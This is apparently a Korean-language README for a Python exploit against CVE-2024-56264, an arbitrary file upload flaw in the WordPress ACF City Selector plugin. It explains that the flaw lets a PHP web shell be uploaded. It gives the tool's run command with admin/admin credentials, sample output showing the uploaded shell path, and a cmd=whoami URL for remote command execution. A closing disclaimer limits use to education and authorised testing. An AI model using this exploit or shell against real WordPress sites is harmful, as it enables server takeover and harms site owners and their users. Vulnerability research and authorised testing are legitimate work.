
WordPress ACF City Selector 플러그인 <=1.14.0의 임의 파일 업로드 취약점인 CVE-2024-56264용 Python 악용 코드로, 웹 셸 업로드를 통한 원격 코드 실행을 가능하게 합니다.
이 저장소는 WordPress ACF City Selector 플러그인(버전 <= 1.14.0)에서 발견된 임의 파일 업로드(Arbitrary File Upload) 취약점인 CVE-2024-56264에 대한 익스플로잇을 포함하고 있습니다. 이 취약점으로 인해 공격자는 취약한 WordPress 인스턴스에 **악성 PHP 파일(웹 셸)**을 업로드하고 서버에서 임의 명령을 실행할 수 있습니다.
<= 1.14.0ACF City Selector 플러그인은 업로드된 파일을 적절히 검증하지 못하여 공격자가 제한을 우회하고 임의 PHP 파일을 업로드할 수 있습니다. 악성 PHP 파일이 업로드되면 공격자는 원격으로 시스템 명령을 실행할 수 있으며, 이로 인해 전체 서버가 손상될 수 있습니다.
스크립트를 실행하기 전에 다음이 설치되어 있는지 확인하세요:
requests 모듈 (설치: pip install requests)다음 명령을 사용하여 모든 필요 의존성을 설치할 수 있습니다:
pip install -r requirements.txt
익스플로잇 실행:
usage: CVE-2024-56264.py [-h] --url URL --username USERNAME --password PASSWORD
WordPress ACF City Selector 플러그인 <= 1.14.0 - 임의 파일 업로드 취약점
옵션:
-h, --help 도움말 메시지를 표시하고 종료
--url URL 웹사이트 기본 URL (예: http://192.168.100.74/wordpress)
--username USERNAME WordPress 사용자 이름
--password PASSWORD WordPress 비밀번호
python CVE-2024-56264.py --url http://192.168.100.74:888/wordpress --username admin --password admin
성공적인 익스플로잇 후, 다음과 같은 출력이 나타나야 합니다:
[+] 탐지된 플러그인 버전: 1.14.0
[+] 취약한 버전이 발견되었습니다! 익스플로잇을 진행합니다.
[+] 로그인 성공.
[+] 추출된 nonce: abc1234
[+] 셸 업로드 성공: http://wordpress/wp-content/uploads/acfcs/q.php
성공한 경우, 업로드된 셸에 다음을 통해 접근할 수 있습니다:
http://wordpress/wp-content/uploads/acfcs/q.php?cmd=whoami
이를 통해 서버에서 원격 명령 실행이 가능합니다.
이 스크립트는 교육 및 승인된 보안 테스트 목적으로만 사용됩니다. 허가되지 않은 사용은 불법이며 심각한 결과를 초래할 수 있습니다. 작성자는 이 익스플로잇의 오용에 대해 책임지지 않습니다.